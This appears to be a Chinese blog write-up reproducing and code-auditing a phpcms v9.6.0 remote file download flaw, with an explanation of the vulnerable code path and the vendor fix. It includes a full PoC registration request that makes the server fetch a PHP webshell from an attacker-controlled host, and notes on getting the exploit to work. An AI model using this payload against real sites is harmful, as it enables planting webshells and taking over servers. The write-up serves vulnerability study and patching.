phpcms 文件上传复现+审计

2024-10-10 16 0

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

系统介绍

版本

phpcms v9.6.0前

项目地址

phpcms: PHPCMS V9内容管理系统 (gitee.com)

复现环境

win10、小皮、phpcms v9.6.3

poc

POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: demo.com
Content-Length: 279
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://demo.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; csrf_358693=2df7a84f; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1723680035; http304ok=1; qebak_loginlangid=1; csrf_f2b6b4=adc34ccd; xinhu_ca_adminuser=admin; xinhu_mo_adminid=eg0el0gx0ttm0tut0et0mx0ml0ea0el0tuj0tuj0ee0tua0ew0mg09; admin=Y4W4R2t0a9Wa46O0O0Oa; PHPSESSID=obktdp2l87a7an8i6cd2qbo1j1; PpCzq_admin_username=f5bcSlUpTLCanHNoHqgdUCF0n6zfqX9WoPbKD3TYNWDa_g; PpCzq_siteid=7f00GCKmIjDBqOQtTVWp3dOe2ydf-wioyckbYeTt; PpCzq_userid=c1f5ihINUG-4GA0zSIiCi6wXdzNdhtrutN1MkX9b; PpCzq_admin_email=216brsvz2eMye6NjOcweBjHOLjFbOOrspfGt23_3A_TcWrlE7Q; PpCzq_sys_lang=22fehiz7sUSOM_nEqenF-htYIYlVNNJuK--wBJ65Dm7D2g
Connection: keep-alive

siteid=1&modelid=11&username=admin1&password=123456&pwdconfirm=123456&email=2%40qq.com&nickname=ab&info%5Bcontent%5D=href=http://存放文件设备的公网:8001/1.php#2.jpg&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

分析

我的分析只是思考为什么是这样一个poc和其中需要注意什么细节

1、首先找到文件注册的register()函数

首先看到getcache()函数,这个函数是获取modelid模块中可以使用哪些函数

phpcms 文件上传复现+审计插图

2、跟进getcache()函数

phpcms 文件上传复现+审计插图1

继续跟进git()函数

phpcms 文件上传复现+审计插图2

其中filename是模块内容的存放名字,filepath是存放位置。其中的内容如下

phpcms 文件上传复现+审计插图3

3、回到register()函数,继续更进$user_model_info = $member_input->get($_POST['info']);其中的get()函数

phpcms 文件上传复现+审计插图4

可以看到fields是模块内容,通过$this->fields[$field]['formtype'];获取了函数名。在后面的一句话中组成为editor($field, $value)其中的field="content"并且value=需上传文件的存放位置

4、继续更进editor()函数,其实editor()函数就在get()函数下

phpcms 文件上传复现+审计插图5

其中的value和传入进来的值是一样的

5、跟进download()函数

phpcms 文件上传复现+审计插图6

其中的fillurl()函数会将输入进来的地址中的#去除,其中参数matche就是地址,跟进fillurl()

phpcms 文件上传复现+审计插图7

这个函数后续还判断了是什么样的文件协议后,就返回了。继续回到download()函数

phpcms 文件上传复现+审计插图8

后续就是将文件和目录创建完成后,通过$upload_func($file, $newfile)将远程文件保存到本地。其中upload_func=copynewfile=本地保存的地址file=远程文件的地址

6、继续回到register()函数

phpcms 文件上传复现+审计插图9

跟进insert()函数

phpcms 文件上传复现+审计插图10

继续跟进insert()函数

phpcms 文件上传复现+审计插图11

因为content这个字段,是更改过的,再v9_member_detail表中不存在这个字段,所以导致强行sql报错,直接就将文件路径报出来了

复现

1、找到会员注册的位置并输入基本信息,进行注册

phpcms 文件上传复现+审计插图12

2、抓取刚刚的注册数据包,并修改如下参数分别将

modelid=11
info%5Bcontent%5D=href=http://存放文件的目标机/1.php#2.jpg

phpcms 文件上传复现+审计插图13

3、发送就会报错出文件存放路径

phpcms 文件上传复现+审计插图14

4、访问并运用

phpcms 文件上传复现+审计插图15

注意事项

事项一

1、每一个用户名只能用一次,如果你在调试是通同一用户名发起一次以上的请求是无法报出文件名的

原因:

在红框中的这条语句是将用户的信息保存到数据库中,如果用户名重复就不会执行后面的,而是直接在这里报错。

phpcms 文件上传复现+审计插图16

事项二

2、在注册会员时需要在phpsso模块处登录,不然无法注册成功。其中账号密码就是后台登录的账号密码。

phpcms 文件上传复现+审计插图17

原因:

在原因这红框中的ps_member_register() -> _ps_send()函数中的一个请求

phpcms 文件上传复现+审计插图18

跟进ps_member_register() -> _ps_send()

发现out参数中的请求行为/phpsso_server/index.php?m=phpsso&c=index&a=register而其中的phpsso_server目录需要再次登录才能访问。

phpcms 文件上传复现+审计插图19

如果不再次登录,回显数据框中的data数据是报错信息并在后续的返回数据赋值框中将数据赋值给return_arr数组再然后将其中的第二人个数据赋值给return参数。然而data参数此时的第二行是空的,所以return为空。

phpcms 文件上传复现+审计插图20

回到register()函数就无法向后执行。

phpcms 文件上传复现+审计插图21

事项三

3、存放文件的目标机不能是可以执行php文件的环境(比如靶场中的文件),因为php会被解析,此时下载下来的一句话就是空的文件,而phpinfo()也是目标机的信息。

以上注意事项如果有误请忽略或指出。谢谢给位大佬

修复

其实我复现的版本已经修复了,就是我注释的部分。修复方式也就是在去掉#后再次判断后缀

phpcms 文件上传复现+审计插图22

结语

本次复现分析主要是对大佬写的分析文章做出分析poc为什么要这样写,并总结其中碰到的坑。

参考

代码审计 | phpcmsV9.6超详细RCE代审流程 (qq.com)


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

网络安全新纪元:如何利用AI和机器学习重新定义网络安全的未来
巧用开源PeteReport-Zh生成渗透测试报告
Damn-Vulnerable-Drone:一款针对无人机安全研究与分析的靶机工具
网络⼯具中的瑞⼠军⼑——NC
Betterscan:一款多功能代码安全编排与审计工具
指针分析与Java反序列化利用链挖掘实践(一)

发布评论